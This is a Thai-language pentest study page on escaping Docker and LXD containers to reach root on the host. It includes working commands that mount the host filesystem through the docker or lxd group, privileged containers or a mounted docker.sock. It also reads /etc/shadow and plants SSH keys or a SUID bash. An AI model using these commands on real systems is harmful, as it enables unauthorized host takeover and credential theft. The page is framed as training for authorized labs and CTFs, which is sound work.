คลัง
linux-privesc

Docker / Container Escape

Docker/Container Escape คือการหลุดจาก container ไปควบคุม host หรือยกระดับเป็น root ผ่าน docker/lxd group, privileged container, mounted socket หรือ host filesystem บทนี้ลงลึกแต่ละช่องทาง: docker group, privileged container capabilities, docker socket, host mount, และ lxd (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Advanced#docker#container#escape#privesc#lxd#privileged#ctf

1. หลักการ

Container แยก process จาก host แต่หลาย misconfiguration ทำให้ 'หลุด' ออกไปคุม host หรือยกระดับเป็น root ได้ ช่องทางหลัก: (1) อยู่ใน docker/lxd group (= root เทียบเท่า), (2) privileged container (มี capability เต็ม), (3) docker socket ถูก mount เข้า container, (4) host filesystem ถูก mount เข้า แต่ละอย่างนำไปคุม host

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. Docker group (= root)

user ที่อยู่ใน docker group สั่ง docker daemon (รันเป็น root) ได้ — เท่ากับ root เพราะ mount host filesystem เข้า container แล้วเข้าถึงได้เต็ม

docker group → root บน hostLinux
# ตรวจว่าอยู่ docker group ไหม
id | grep docker

# mount host root (/) เข้า container แล้ว chroot → เข้าถึง host เต็ม
docker run -v /:/host -it alpine chroot /host /bin/bash
# ตอนนี้อยู่ใน host filesystem เป็น root!

# หรือใช้ image ที่มีอยู่ (ถ้าไม่มีเน็ตดึง alpine)
docker images                    # ดู image ที่มี
docker run -v /:/host -it <image> chroot /host sh

# GTFOBins มี docker entry ด้วย
docker group = root: mount / ของ host เข้า container → chroot → คุม host; ใช้ image ที่มีอยู่ถ้าไม่มีเน็ต

3. Privileged container

container ที่รันด้วย --privileged มี capability เกือบเต็มและเข้าถึง device ของ host — escape ได้หลายวิธี

ตรวจ + escape จาก privileged containerLinux
# ตรวจว่าอยู่ใน privileged container
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = เกือบทุก capability = privileged

# ดู host disk device (privileged เห็น)
fdisk -l                         # เห็น /dev/sda ของ host
ls /dev/                         # มี device ของ host

# mount host disk เข้ามา → เข้าถึงไฟล์ host
mkdir /mnt/host
mount /dev/sda1 /mnt/host        # mount host root
cat /mnt/host/etc/shadow         # อ่าน host shadow
# เขียน SSH key / cron / SUID บน host filesystem

# หรือ escape ผ่าน release_agent (cgroup) — มี exploit สำเร็จรูป
privileged เห็น host device → mount /dev/sda1 อ่าน/เขียน host filesystem; CapEff เต็ม = privileged

4. Docker socket mounted

docker.sock ใน container → คุม hostLinux
# ตรวจว่ามี docker socket ใน container ไหม
ls -la /var/run/docker.sock
# ถ้ามี = คุม docker daemon ของ host ได้

# ใช้ socket สร้าง container ใหม่ที่ mount host /
# (ถ้ามี docker client ใน container)
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh

# ถ้าไม่มี docker client → ใช้ curl คุย API
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# สร้าง container ผ่าน API (POST /containers/create) mount /
docker.sock ใน container = คุม daemon host; ใช้ docker client หรือ curl API สร้าง container mount host /

5. LXD group

lxd group → root บน hostLinux
# อยู่ใน lxd group → import image แล้วสร้าง privileged container mount host
id | grep lxd

# 1. เตรียม alpine image (จากเครื่องเรา หรือ build)
# 2. import + สร้าง container privileged ที่ mount host /
lxc image import alpine.tar.gz --alias myimg
lxc init myimg pwn -c security.privileged=true
lxc config device add pwn host disk source=/ path=/mnt/host recursive=true
lxc start pwn
lxc exec pwn /bin/sh
# ใน container: /mnt/host = host filesystem (root)
cd /mnt/host; # เขียน SSH key/SUID/อ่าน shadow
lxd group เหมือน docker group = root: สร้าง privileged container mount host / → คุม host

6. Quick Reference

  • container escape: docker/lxd group, privileged, socket, host mount
  • docker group: docker run -v /:/host -it alpine chroot /host sh
  • privileged: CapEff เต็ม → mount /dev/sda1 → host filesystem
  • docker.sock ใน container → docker -H unix://... run mount /
  • lxd group: lxc init -c security.privileged=true + mount host /
  • ตรวจ: id (docker/lxd group), /proc/self/status CapEff, ls docker.sock

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติได้ shell แล้ว (อาจอยู่ใน container หรือเครื่องที่มี docker ติดตั้งอยู่) มีแค่ Kali เปล่าๆ ไม่มี sudo ที่ใช้ได้ตรงๆ ลองเช็คว่ามีทางหลุดออกจาก container หรือใช้ docker/lxd ยกระดับได้ไหม ทำตามนี้ทีละขั้น

  1. 1พิมพ์ id ดูว่าตัวเองอยู่ group docker หรือ lxd ไหม
  2. 2ถ้าอยู่ docker group ให้พิมพ์ docker images ดูว่ามี image อะไรอยู่แล้วบ้าง (เผื่อไม่มีเน็ตดึงใหม่)
  3. 3รัน docker run -v /:/host -it alpine chroot /host /bin/bash (หรือ image ที่มีอยู่แทน alpine)
  4. 4ถ้าไม่อยู่ docker/lxd group ให้เช็คว่าตัวเองอยู่ 'ใน' container อยู่แล้วหรือเปล่า ด้วย cat /proc/self/status | grep CapEff
  5. 5ถ้า CapEff เกือบเต็ม (เช่น 0000003fffffffff) แปลว่าเป็น privileged container ให้ลอง fdisk -l ดู host disk แล้ว mount /dev/sda1 เข้ามา
  6. 6เช็คด้วย ls -la /var/run/docker.sock ว่ามีถูก mount เข้ามาไหม ถ้ามีลองคุยผ่าน curl --unix-socket
  7. 7ถ้าอยู่ lxd group ให้เตรียม image (alpine) แล้ว lxc init ด้วย security.privileged=true พร้อม mount host disk เข้ามา
  8. 8เมื่อเข้าถึง host filesystem ได้แล้ว เขียน SSH authorized_keys หรือสร้าง SUID bash ไว้ในนั้น
  9. 9ออกจาก container กลับไปที่ host (หรือ SSH เข้าใหม่) แล้วพิมพ์ id ยืนยัน uid=0(root)
เจอ docker/lxd แล้วทำอะไรต่อ / ไม่เจอไปทางไหน
อยู่ใน docker group ไหม?
✅ อยู่ docker group→ docker run -v /:/host chroot /host → root บน host ทันที
❌ ไม่อยู่→ เช็ค lxd group ต่อ
อยู่ใน lxd group ไหม?
✅ อยู่ lxd group→ import image + สร้าง privileged container mount host /
❌ ไม่อยู่→ เช็คว่าตัวเองอยู่ 'ใน' container ไหม
cat /proc/self/status | grep CapEff — เป็น privileged container ไหม?
✅ CapEff เกือบเต็ม (privileged)→ mount /dev/sda1 อ่าน/เขียน host filesystem
❌ ไม่ privileged→ เช็คว่ามี /var/run/docker.sock ถูก mount เข้ามาไหม
ls -la /var/run/docker.sock — มีไหม?
✅ มี docker.sock→ ใช้ curl/docker client คุย API สร้าง container mount host
❌ ไม่มี→ ไม่มีทาง escape ตรงๆ ไล่ privesc ปกติในตัว container ก่อน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
เช็ค group/capability ปัจจุบันid, cat /proc/self/status--
escape ผ่าน docker/lxd groupdocker, lxc-gtfobins.github.io
mount host disk (privileged)mount, fdisk -l--
คุย docker API ผ่าน socketcurl --unix-socket--
ดาวน์โหลด image สำหรับ lxd-lxc image import / wget alpine image-
enumeration อัตโนมัติในตัว container-linpeas-
หา kernel exploit เผื่อ escape ทางอื่นsearchsploit, uname -a-exploit-db.com
🚑 ถ้าตันสนิท ลองท่าถัดไป: SUID/Capabilities (ไล่ privesc ปกติในตัว container ก่อน ไม่ต้องหลุดออกไปก็ได้) · LinPEAS (สแกนในตัว container ให้ครบ) · Kernel Exploitation (ถ้า host kernel เก่ามาก อาจ escape ได้ผ่านช่องโหว่ kernel) · กลับไป Linux Enumeration เพื่อไล่ checklist ใหม่ในบริบท container

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้